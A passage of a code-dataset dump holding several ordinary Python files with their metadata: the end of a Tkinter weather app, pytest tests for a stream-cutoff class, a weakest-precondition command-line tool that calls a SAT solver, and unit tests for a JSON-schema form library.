str(clouds_percent) + \"%\"\n group_info3 = \"Atmospheric Conditions: \\nPressure: \"+ str(pressure)+\"hPa\" + \"\\nDew Point: \"+ str(dew_point)+\"°\"\n\n\n\n\n\n self.lab1.config(text = weather_string)\n self.lab2.config(text = sun_rise_set)\n self.lab3.config(text = temp_string)\n self.lab4.config(text = group_info1)\n self.lab5.config(text = group_info2)\n self.lab6.config(text = group_info3)\n \n\n\n \n \n \n\n \n\n## Misc Functions\n\n def resize_window(self, event):\n self.WIDTH = event.width\n self.HEIGHT = event.height\n \n self.overview_canvas.coords(self.overview_bg, self.WIDTH/2,self.HEIGHT/2)\n self.overview_canvas.coords(self.location_text, self.WIDTH//2,self.HEIGHT *0.12)\n self.overview_canvas.coords(self.weather_icon_pic, self.WIDTH//2-150,self.HEIGHT*0.25)\n self.overview_canvas.coords(self.temp_lbl, self.WIDTH//2,self.HEIGHT*0.35)\n self.overview_canvas.coords(self.c_button_window, self.WIDTH//2+100,self.HEIGHT*0.25)\n self.overview_canvas.coords(self.weather_text_lbl, self.WIDTH//2,self.HEIGHT*0.6)\n self.overview_canvas.coords(self.overview_info_text, self.WIDTH//2,self.HEIGHT*0.75)\n self.overview_canvas.coords(self.last_updated_lbl, self.WIDTH//2,self.HEIGHT*0.9)\n\n def Daily_RadioBtnSelected(self):\n print(json.dumps(self.i.get()))\n self.update_daily_detail()\n\n\n\n def load_bg(self):\n img_height = 300\n now = datetime.datetime.now() \n \n \n if int((now.strftime('%H'))) >= 18 or int((now.strftime('%H'))) <= 6: \n img_file = Image.open('./img/night-bg.png')\n if img_file.size != (self.WIDTH, img_height):\n img_file = img_file.resize((2000, img_height+50), Image.ANTIALIAS)\n self.background_image = ImageTk.PhotoImage(img_file)\n print(\"night\", img_file.size)\n \n return self.background_image\n else: \n img_file = Image.open('./img/day-bg.png')\n if img_file.size != (self.WIDTH, img_height):\n img_file = img_file.resize((2000, img_height+150), Image.ANTIALIAS)\n self.background_image = ImageTk.PhotoImage(img_file)\n print(\"day\")\n return self.background_image\n \n def open_image(self, icon):\n \n self.img_large = ImageTk.PhotoImage(Image.open('./img/'+icon+'.png').resize((70, 70)))\n self.overview_canvas.delete(self.weather_icon_pic)\n self.weather_icon_pic = self.overview_canvas.create_image(self.WIDTH//2-150, 250*0.25, anchor='nw',image=self.img_large)\n \n def clear_text(self):\n self.search_box.delete(0, 'end')\n\n def map_RadioBtnSelected(self):\n self.map_canvas.destroy()\n self.load_mapfig(self.location)\n\n \n\n \n \n\nif __name__ == \"__main__\":\n root = tk.Tk()\n root.title(\"Weather Analysis App\")\n root.grid_rowconfigure(0, weight=1)\n root.grid_columnconfigure(0, weight=1)\n \n\n WIDTH = 1000\n HEIGHT = 700\n root.geometry(\"%sx%s\" % (WIDTH, HEIGHT))\n \n\n model = Model()\n view = View(root)\n view.weather_json = model.get_weathertest()\n view.location = model.get_location(\"Melbourne\")\n view.setup()\n\n \n root.mainloop()\n \n\n", "repo_name": "kevinheych/WeatherApp", "sub_path": "WeatherApp/view.py", "file_name": "view.py", "file_ext": "py", "file_size_in_byte": 26366, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "tkinter.Frame", "line_number": 20, "usage_type": "attribute"}, {"api_name": "tkinter.Frame.__init__", "line_number": 26, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 26, "usage_type": "attribute"}, {"api_name": "tkinter.Canvas", "line_number": 29, "usage_type": "call"}, {"api_name": "tkinter.Scrollbar", "line_number": 30, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 40, "usage_type": "call"}, {"api_name": "tkinter.IntVar", "line_number": 69, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 71, "usage_type": "call"}, {"api_name": "map.Map", "line_number": 80, "usage_type": "call"}, {"api_name": "tkinter.ttk.Style", "line_number": 110, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 110, "usage_type": "name"}, {"api_name": "tkinter.ttk.Notebook", "line_number": 116, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 116, "usage_type": "name"}, {"api_name": "tkinter.BOTTOM", "line_number": 117, "usage_type": "attribute"}, {"api_name": "tkinter.BOTH", "line_number": 117, "usage_type": "attribute"}, {"api_name": "tkinter.Frame", "line_number": 120, "usage_type": "call"}, {"api_name": "tkinter.BOTTOM", "line_number": 122, "usage_type": "attribute"}, {"api_name": "tkinter.BOTH", "line_number": 122, "usage_type": "attribute"}, {"api_name": "tkinter.Frame", "line_number": 123, "usage_type": "call"}, {"api_name": "tkinter.BOTH", "line_number": 124, "usage_type": "attribute"}, {"api_name": "tkinter.Frame", "line_number": 126, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 147, "usage_type": "call"}, {"api_name": "tkinter.BOTTOM", "line_number": 148, "usage_type": "attribute"}, {"api_name": "tkinter.Radiobutton", "line_number": 151, "usage_type": "call"}, {"api_name": "tkinter.LEFT", "line_number": 152, "usage_type": "attribute"}, {"api_name": "tkinter.Label", "line_number": 156, "usage_type": "call"}, {"api_name": "tkinter.CENTER", "line_number": 158, "usage_type": "attribute"}, {"api_name": "tkinter.Canvas", "line_number": 164, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.Figure", "line_number": 168, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 168, "usage_type": "name"}, {"api_name": "matplotlib.backends.backend_tkagg.FigureCanvasTkAgg", "line_number": 176, "usage_type": "call"}, {"api_name": "tkinter.X", "line_number": 177, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 182, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 182, "usage_type": "name"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 183, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 183, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 185, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 185, "usage_type": "name"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 186, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 186, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 188, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 188, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 189, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 189, "usage_type": "name"}, {"api_name": "tkinter.Frame", "line_number": 192, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 194, "usage_type": "call"}, {"api_name": "tkinter.Entry", "line_number": 195, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 196, "usage_type": "call"}, {"api_name": "tkinter.TOP", "line_number": 199, "usage_type": "attribute"}, {"api_name": "tkinter.X", "line_number": 199, "usage_type": "attribute"}, {"api_name": "tkinter.RIGHT", "line_number": 200, "usage_type": "attribute"}, {"api_name": "tkinter.RIGHT", "line_number": 201, "usage_type": "attribute"}, {"api_name": "tkinter.RIGHT", "line_number": 202, "usage_type": "attribute"}, {"api_name": "tkinter.Canvas", "line_number": 209, "usage_type": "call"}, {"api_name": "tkinter.X", "line_number": 210, "usage_type": "attribute"}, {"api_name": "tkinter.CENTER", "line_number": 220, "usage_type": "attribute"}, {"api_name": "tkinter.CENTER", "line_number": 227, "usage_type": "attribute"}, {"api_name": "tkinter.Button", "line_number": 229, "usage_type": "call"}, {"api_name": "tkinter.CENTER", "line_number": 239, "usage_type": "attribute"}, {"api_name": "tkinter.CENTER", "line_number": 246, "usage_type": "attribute"}, {"api_name": "tkinter.CENTER", "line_number": 252, "usage_type": "attribute"}, {"api_name": "tkinter.Frame", "line_number": 261, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 267, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.Figure", "line_number": 279, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 279, "usage_type": "name"}, {"api_name": "matplotlib.backends.backend_tkagg.FigureCanvasTkAgg", "line_number": 282, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.setp", "line_number": 330, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 330, "usage_type": "name"}, {"api_name": "tkinter.Frame", "line_number": 369, "usage_type": "call"}, {"api_name": "tkinter.Canvas", "line_number": 373, "usage_type": "call"}, {"api_name": "tkinter.Scrollbar", "line_number": 374, "usage_type": "call"}, {"api_name": "tkinter.X", "line_number": 375, "usage_type": "attribute"}, {"api_name": "tkinter.BOTTOM", "line_number": 375, "usage_type": "attribute"}, {"api_name": "tkinter.Frame", "line_number": 378, "usage_type": "call"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 394, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 394, "usage_type": "attribute"}, {"api_name": "tkinter.Frame", "line_number": 397, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 399, "usage_type": "call"}, {"api_name": "tkinter.Canvas", "line_number": 402, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 403, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 404, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 405, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 406, "usage_type": "call"}, {"api_name": "tkinter.LEFT", "line_number": 409, "usage_type": "attribute"}, {"api_name": "tkinter.BOTH", "line_number": 411, "usage_type": "attribute"}, {"api_name": "tkinter.LEFT", "line_number": 413, "usage_type": "attribute"}, {"api_name": "tkinter.LEFT", "line_number": 414, "usage_type": "attribute"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 417, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 417, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 417, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 417, "usage_type": "name"}, {"api_name": "tkinter.Radiobutton", "line_number": 423, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 431, "usage_type": "call"}, {"api_name": "tkinter.TOP", "line_number": 433, "usage_type": "attribute"}, {"api_name": "numpy.linspace", "line_number": 440, "usage_type": "call"}, {"api_name": "scipy.interpolate.make_interp_spline", "line_number": 441, "usage_type": "call"}, {"api_name": "scipy.interpolate", "line_number": 441, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.Figure", "line_number": 446, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 446, "usage_type": "name"}, {"api_name": "matplotlib.backends.backend_tkagg.FigureCanvasTkAgg", "line_number": 457, "usage_type": "call"}, {"api_name": "tkinter.X", "line_number": 458, "usage_type": "attribute"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 467, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 467, "usage_type": "attribute"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 471, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 471, "usage_type": "attribute"}, {"api_name": "tkinter.Frame", "line_number": 502, "usage_type": "call"}, {"api_name": "tkinter.BOTH", "line_number": 503, "usage_type": "attribute"}, {"api_name": "tkinter.Frame", "line_number": 505, "usage_type": "call"}, {"api_name": "tkinter.BOTH", "line_number": 506, "usage_type": "attribute"}, {"api_name": "tkinter.Label", "line_number": 507, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 508, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 510, "usage_type": "call"}, {"api_name": "tkinter.BOTH", "line_number": 511, "usage_type": "attribute"}, {"api_name": "tkinter.Label", "line_number": 512, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 513, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 515, "usage_type": "call"}, {"api_name": "tkinter.BOTH", "line_number": 516, "usage_type": "attribute"}, {"api_name": "tkinter.Label", "line_number": 517, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 518, "usage_type": "call"}, {"api_name": "tkinter.LEFT", "line_number": 521, "usage_type": "attribute"}, {"api_name": "tkinter.BOTH", "line_number": 521, "usage_type": "attribute"}, {"api_name": "tkinter.LEFT", "line_number": 522, "usage_type": "attribute"}, {"api_name": "tkinter.BOTH", "line_number": 522, "usage_type": "attribute"}, {"api_name": "tkinter.LEFT", "line_number": 523, "usage_type": "attribute"}, {"api_name": "tkinter.BOTH", "line_number": 523, "usage_type": "attribute"}, {"api_name": "tkinter.LEFT", "line_number": 524, "usage_type": "attribute"}, {"api_name": "tkinter.BOTH", "line_number": 524, "usage_type": "attribute"}, {"api_name": "tkinter.LEFT", "line_number": 525, "usage_type": "attribute"}, {"api_name": "tkinter.BOTH", "line_number": 525, "usage_type": "attribute"}, {"api_name": "tkinter.LEFT", "line_number": 526, "usage_type": "attribute"}, {"api_name": "tkinter.BOTH", "line_number": 526, "usage_type": "attribute"}, {"api_name": "numpy.linspace", "line_number": 537, "usage_type": "call"}, {"api_name": "scipy.interpolate.make_interp_spline", "line_number": 538, "usage_type": "call"}, {"api_name": "scipy.interpolate", "line_number": 538, "usage_type": "name"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 555, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 555, "usage_type": "attribute"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 559, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 559, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 622, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 629, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 629, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 633, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 633, "usage_type": "name"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 635, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 635, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 636, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 636, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 641, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 641, "usage_type": "name"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 643, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 643, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 644, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 644, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 650, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 650, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 650, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 650, "usage_type": "name"}, {"api_name": "tkinter.Tk", "line_number": 667, "usage_type": "call"}, {"api_name": "model.Model", "line_number": 678, "usage_type": "call"}, {"api_name": "model.get_weathertest", "line_number": 680, "usage_type": "call"}, {"api_name": "model.get_location", "line_number": 681, "usage_type": "call"}]} {"seq_id": "6353273639", "text": "import functools\nimport random\nimport string\nfrom unittest import mock\n\nimport pytest\n\nfrom waterbutler.core import streams\n\n\n@pytest.fixture\ndef blob():\n return ''.join(random.sample(string.printable, 50)).encode('utf-8')\n\n\nclass TestCutoffStream:\n\n @pytest.mark.asyncio\n async def test_one_chunk(self, blob):\n stream = streams.StringStream(blob)\n cutoff_stream = streams.CutoffStream(stream, len(blob))\n data = await cutoff_stream.read()\n assert len(data) == len(blob)\n assert data == blob\n\n @pytest.mark.asyncio\n async def test_multi_chunk(self, blob):\n stream = streams.StringStream(blob)\n\n cutoff_stream_one = streams.CutoffStream(stream, 10)\n data_one = await cutoff_stream_one.read()\n assert len(data_one) == 10\n assert data_one == blob[0:10]\n\n cutoff_stream_two = streams.CutoffStream(stream, 10)\n data_two = await cutoff_stream_two.read()\n assert len(data_two) == 10\n assert data_two == blob[10:20]\n\n remainder = await stream.read()\n assert len(remainder) == 30\n assert remainder == blob[20:50]\n\n @pytest.mark.asyncio\n async def test_subchunk(self, blob):\n stream = streams.StringStream(blob)\n cutoff_stream = streams.CutoffStream(stream, 20)\n\n subchunk_one = await cutoff_stream.read(7)\n assert len(subchunk_one) == 7\n assert subchunk_one == blob[0:7]\n\n subchunk_two = await cutoff_stream.read(7)\n assert len(subchunk_two) == 7\n assert subchunk_two == blob[7:14]\n\n subchunk_three = await cutoff_stream.read(7)\n assert len(subchunk_three) == 6\n assert subchunk_three == blob[14:20]\n\n subchunk_four = await cutoff_stream.read(7)\n assert len(subchunk_four) == 0\n assert subchunk_four == b''\n\n remainder = await stream.read()\n assert len(remainder) == 30\n assert remainder == blob[20:50]\n\n def test_no_cutoff_exception(self, blob):\n stream = streams.StringStream(blob)\n with pytest.raises(TypeError):\n streams.CutoffStream(stream)\n", "repo_name": "CenterForOpenScience/waterbutler", "sub_path": "tests/core/streams/test_cutoffstream.py", "file_name": "test_cutoffstream.py", "file_ext": "py", "file_size_in_byte": 2124, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 62, "dataset": "github-code", "pt": "78", "api": [{"api_name": "random.sample", "line_number": 13, "usage_type": "call"}, {"api_name": "string.printable", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 11, "usage_type": "attribute"}, {"api_name": "waterbutler.core.streams.StringStream", "line_number": 20, "usage_type": "call"}, {"api_name": "waterbutler.core.streams", "line_number": 20, "usage_type": "name"}, {"api_name": "waterbutler.core.streams.CutoffStream", "line_number": 21, "usage_type": "call"}, {"api_name": "waterbutler.core.streams", "line_number": 21, "usage_type": "name"}, {"api_name": "pytest.mark", "line_number": 18, "usage_type": "attribute"}, {"api_name": "waterbutler.core.streams.StringStream", "line_number": 28, "usage_type": "call"}, {"api_name": "waterbutler.core.streams", "line_number": 28, "usage_type": "name"}, {"api_name": "waterbutler.core.streams.CutoffStream", "line_number": 30, "usage_type": "call"}, {"api_name": "waterbutler.core.streams", "line_number": 30, "usage_type": "name"}, {"api_name": "waterbutler.core.streams.CutoffStream", "line_number": 35, "usage_type": "call"}, {"api_name": "waterbutler.core.streams", "line_number": 35, "usage_type": "name"}, {"api_name": "pytest.mark", "line_number": 26, "usage_type": "attribute"}, {"api_name": "waterbutler.core.streams.StringStream", "line_number": 46, "usage_type": "call"}, {"api_name": "waterbutler.core.streams", "line_number": 46, "usage_type": "name"}, {"api_name": "waterbutler.core.streams.CutoffStream", "line_number": 47, "usage_type": "call"}, {"api_name": "waterbutler.core.streams", "line_number": 47, "usage_type": "name"}, {"api_name": "pytest.mark", "line_number": 44, "usage_type": "attribute"}, {"api_name": "waterbutler.core.streams.StringStream", "line_number": 70, "usage_type": "call"}, {"api_name": "waterbutler.core.streams", "line_number": 70, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 71, "usage_type": "call"}, {"api_name": "waterbutler.core.streams.CutoffStream", "line_number": 72, "usage_type": "call"}, {"api_name": "waterbutler.core.streams", "line_number": 72, "usage_type": "name"}]} {"seq_id": "42602182960", "text": "import os\n\nfrom utils.syntax_tree import SyntaxTree\nfrom utils.eval import evaluate\nfrom utils.precondition import weakest_precondition\nfrom utils.parser import parse_wp\n\nclass Ui(object):\n\tdef __init__(self, argv):\n\t\tself.depth = argv.depth\n\t\tself.path = argv.file\n\t\tself.postcond = argv.postcond\n\t\tself.pgm = ''\n\t\tself.wp = None\n\n\t\tif self.path != None:\n\t\t\tself.pgm = self.__read_pgm()\n\n\t\tif not (self.pgm == None or self.postcond == None):\n\t\t\tself.wp = weakest_precondition(self.pgm, self.postcond)\n\n\t\tif not argv.inline or argv.inline not in ('t', 'true'):\n\t\t\tself.__main_loop()\n\t\telse:\n\t\t\tif self.wp != None:\n\t\t\t\tres = parse_wp(self.wp)\n\n\t\t\t\twith open('/home/larry/Desktop/tmp/project/translator/limboole1.1/eqv.in', 'w') as f:\n\t\t\t\t\tf.write(res)\n\t\t\t\tcmd = '../translator/limboole1.1/limboole /home/larry/Desktop/tmp/project/translator/limboole1.1/eqv.in'\n\t\t\t\tos.system(cmd)\n\n\tdef __get_help(self):\n\t\treturn \t'\\'wp\\'\\t- generate weakest precondition\\n'\\\n\t\t\t\t'\\'check\\'\\t- check wp using SAT solver\\n'\\\n\t\t\t\t'\\'eval\\'\\t- evaluate wp using polish notation calculator\\n'\\\n\t\t\t\t'\\'postcond\\'\\t- enter new postcondition\\n'\\\n\t\t\t\t'\\'pgm\\'\\t- enter new program\\n'\\\n\t\t\t\t'\\'check_depth\\'\\t- check depth of program\\n'\\\n\t\t\t\t'\\'vals\\'\\t- print state of system\\n'\\\n\t\t\t\t'\\'depth\\'\\t- enter new depth\\n'\\\n\t\t\t\t'\\'file\\'\\t- read program from file\\n'\\\n\t\t\t\t'\\'help\\'\\t- this message'\n\n\tdef __read_pgm(self):\n\t\twith open(self.path,'r') as f:\n\t\t\tpgm = f.read().replace('\\n', '')\n\t\treturn pgm\n\n\tdef __check_depth(self):\n\t\ttr = SyntaxTree(self.pgm)\n\t\treturn tr.depth()\n\n\tdef __main_loop(self):\n\t\tbuff = ''\n\n\t\twhile buff not in ('quit', 'exit', 'q'):\n\t\t\tif self.depth == None:\n\t\t\t\tprint('depth not specified')\n\t\t\tif self.path == None:\n\t\t\t\tprint('path not specified')\n\t\t\tif self.postcond == None:\n\t\t\t\tprint('postcondition not specified')\n\t\t\tif self.pgm == '':\n\t\t\t\tprint('program not specified')\n\t\t\tif self.wp == None:\n\t\t\t\tprint('weakest precondition not generated')\n\t\t\tbuff = input('cmd: ')\n\n\t\t\tif buff == 'vals':\n\t\t\t\tprint('depth:\\t{}'.format(self.depth))\n\t\t\t\tprint('path:\\t{}'.format(self.path))\n\t\t\t\tprint('postc:\\t{}'.format(self.postcond))\n\t\t\t\tprint('pgm:\\t{}'.format(self.pgm != ''))\n\t\t\t\tprint('wp:\\t{}'.format(self.wp))\n\n\t\t\tif buff == 'help':\n\t\t\t\tprint(self.__get_help())\n\t\t\tif buff == 'file':\n\t\t\t\tself.path = input('enter new path: ')\n\t\t\t\tself.pgm = self.__read_pgm()\n\t\t\tif buff == 'depth':\n\t\t\t\tself.depth = int(input('enter new depth: '))\n\t\t\tif buff == 'print':\n\t\t\t\tif self.postcond == None or self.pgm == None:\n\t\t\t\t\tprint('postcondition or program not specified')\n\t\t\t\telse:\n\t\t\t\t\tprint('postcond: {}\\nprogram:\\n{}'.format(self.postcond, self.pgm))\n\t\t\tif buff == 'check_depth':\n\t\t\t\tif self.depth == None:\n\t\t\t\t\tprint('depth not specified')\n\t\t\t\telse:\n\t\t\t\t\tprint('pgm depth:{}\\nset depth:{}'.format(self.__check_depth(), self.depth))\n\t\t\tif buff == 'pgm':\n\t\t\t\tself.pgm = input('enter new program: \\n')\n\t\t\tif buff == 'postcond':\n\t\t\t\tself.postcond = input('enter new postcondition: ')\n\t\t\tif buff == 'eval':\n\t\t\t\tif self.wp != None:\n\t\t\t\t\tprint(evaluate(self.wp))\n\t\t\t\telse:\n\t\t\t\t\tprint('run \\'check\\'')\n\t\t\tif buff == 'wp':\n\t\t\t\tif not (self.pgm == None or self.postcond == None):\n\t\t\t\t\tself.wp = weakest_precondition(self.pgm, self.postcond)\n\t\t\t\telse:\n\t\t\t\t\tprint('specify program or postcondition')\n\t\t\tif buff == 'check':\n\t\t\t\tif self.wp != None:\n\t\t\t\t\tres = parse_wp(self.wp)\n\n\t\t\t\t\twith open('/home/larry/Desktop/tmp/project/translator/limboole1.1/eqv.in', 'w') as f:\n\t\t\t\t\t\tf.write(res)\n\n\t\t\t\t\tcmd = '../translator/limboole1.1/limboole /home/larry/Desktop/tmp/project/translator/limboole1.1/eqv.in'\n\t\t\t\t\tos.system(cmd)\n\t\t\t\telse:\n\t\t\t\t\tprint('run \\'check\\'')\n\t\t\n", "repo_name": "emuravev/pdsrs", "sub_path": "ui.py", "file_name": "ui.py", "file_ext": "py", "file_size_in_byte": 3629, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "utils.precondition.weakest_precondition", "line_number": 20, "usage_type": "call"}, {"api_name": "utils.parser.parse_wp", "line_number": 26, "usage_type": "call"}, {"api_name": "os.system", "line_number": 31, "usage_type": "call"}, {"api_name": "utils.syntax_tree.SyntaxTree", "line_number": 51, "usage_type": "call"}, {"api_name": "utils.eval.evaluate", "line_number": 100, "usage_type": "call"}, {"api_name": "utils.precondition.weakest_precondition", "line_number": 105, "usage_type": "call"}, {"api_name": "utils.parser.parse_wp", "line_number": 110, "usage_type": "call"}, {"api_name": "os.system", "line_number": 116, "usage_type": "call"}]} {"seq_id": "11111905219", "text": "from abc import abstractmethod\n\nimport unittest2 as unittest\n\n\nclass TestMethod2OPCONV(unittest.TestCase):\n\n def test_method2op_letter_case(self):\n from schema_sugar import method2op\n self.assertEqual(method2op(\"GET\"), \"show\")\n self.assertEqual(method2op(\"get\"), \"show\")\n self.assertEqual(method2op(\"Show\"), \"show\")\n\n def test_method2op_name_conv(self):\n from schema_sugar import method2op\n input_values = [\n \"get\", \"put\", \"post\", \"delete\",\n \"show\", \"update\", \"create\", \"delete\",\n ]\n expect_values = [\n \"show\", \"update\", \"create\", \"delete\",\n \"show\", \"update\", \"create\", \"delete\",\n ]\n for input_value, expect_value in zip(input_values, expect_values):\n self.assertEqual(method2op(input_value), expect_value)\n\n def test_method2op_unexpected(self):\n from schema_sugar import method2op\n\n e = None\n try:\n method2op(\"haha\")\n except ValueError as e:\n pass\n\n self.assertIsNotNone(e)\n\n\nclass TestResourcesMethod2OPCONV(unittest.TestCase):\n\n def test_resources_method2op(self):\n from schema_sugar import resources_method2op\n input_values = [\n \"post\", \"get\", \"POST\", \"mymethod\"\n ]\n expect_values = [\n \"create\", \"index\", \"create\", \"mymethod\"\n ]\n for input_value, expect_value in zip(input_values, expect_values):\n self.assertEqual(resources_method2op(input_value), expect_value)\n\n\nclass TestIsAbcMethod(unittest.TestCase):\n\n def setUp(self):\n from schema_sugar import is_abs_method\n self.is_abs_method = is_abs_method\n\n def test_normal_func(self):\n def normal():\n pass\n\n @abstractmethod\n def is_abc():\n pass\n\n self.assertTrue(self.is_abs_method(is_abc))\n self.assertFalse(self.is_abs_method(normal))\n\n def test_class_method(self):\n\n class Test(object):\n\n @abstractmethod\n def test_method(self):\n pass\n\n def normal_method(self):\n pass\n\n @classmethod\n @abstractmethod\n def cls_method(cls):\n pass\n\n test = Test()\n\n self.assertTrue(self.is_abs_method(test.test_method))\n self.assertTrue(self.is_abs_method(Test.cls_method))\n self.assertFalse(self.is_abs_method(test.normal_method))\n\n\nclass TestJsonForm(unittest.TestCase):\n\n def setUp(self):\n from schema_sugar import JsonForm\n self.JsonForm = JsonForm\n self.base_schema = {\n \"type\": \"object\",\n \"properties\": {\n \"field1\": {\"type\": \"string\"},\n \"field2\": {\"type\": \"string\"},\n },\n \"required\": [\"field1\", ],\n }\n self.base_valid_data = {\"field1\": \"haha\"}\n\n def test_normal_schema(self):\n\n class MyForm(self.JsonForm):\n schema = self.base_schema\n form = MyForm(self.base_valid_data)\n self.assertEqual(self.base_schema, form.schema)\n\n def test_live_schema(self):\n form = self.JsonForm(self.base_valid_data,\n live_schema=self.base_schema)\n\n self.assertEqual(form.schema, self.base_schema)\n\n def test_both_schema(self):\n\n class MyForm(self.JsonForm):\n schema = self.base_schema\n\n live_schema = {\n \"type\": \"object\",\n \"properties\": {\n \"field2\": {\"type\": \"number\"},\n \"field3\": {\"type\": \"string\"},\n },\n \"required\": [\"field2\", ],\n }\n form = MyForm({}, live_schema=live_schema)\n self.assertEqual(\n form.schema,\n {\n \"type\": \"object\",\n \"properties\": {\n \"field1\": {\"type\": \"string\"},\n \"field2\": {\"type\": \"number\"},\n \"field3\": {\"type\": \"string\"},\n },\n \"required\": [\"field2\", \"field1\"],\n }\n )\n\n def test_validation_success(self):\n class MyForm(self.JsonForm):\n schema = self.base_schema\n form = MyForm(self.base_valid_data)\n self.assertTrue(form.validate())\n\n def test_validataion_fail(self):\n class MyForm(self.JsonForm):\n schema = self.base_schema\n form = MyForm({})\n self.assertFalse(form.validate())\n self.assertIsNotNone(form.errors)\n\n def test_data_filter(self):\n class MyForm(self.JsonForm):\n schema = self.base_schema\n form = MyForm({\n \"field1\": \"hello\",\n \"field2\": \"hello\",\n \"field3\": \"hello\",\n })\n self.assertFalse(\"filed3\" in form.data)\n\n def test_non_strict_mode(self):\n class MyForm(self.JsonForm):\n schema = self.base_schema\n form = MyForm({\n \"field1\": \"hello\",\n \"field2\": 1,\n })\n self.assertEqual(form.data[\"field2\"], \"1\")\n\n def test_strict_mode(self):\n class MyForm(self.JsonForm):\n schema = self.base_schema\n form = MyForm(\n {\n \"field1\": \"hello\",\n \"field2\": 1,\n },\n strict=True,\n )\n self.assertEqual(form.data[\"field2\"], 1)\n\n\nclass TestArgGenerator(unittest.TestCase):\n\n def test_default_type(self):\n from schema_sugar import cli_arg_generator\n\n class Hello(object):\n pass\n e = None\n\n try:\n cli_arg_generator(Hello)\n except ValueError as e:\n pass\n self.assertIsNotNone(e)\n", "repo_name": "vfulco/schema-sugar", "sub_path": "src/schema_sugar/tests/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 5669, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "unittest2.TestCase", "line_number": 6, "usage_type": "attribute"}, {"api_name": "schema_sugar.method2op", "line_number": 10, "usage_type": "call"}, {"api_name": "schema_sugar.method2op", "line_number": 11, "usage_type": "call"}, {"api_name": "schema_sugar.method2op", "line_number": 12, "usage_type": "call"}, 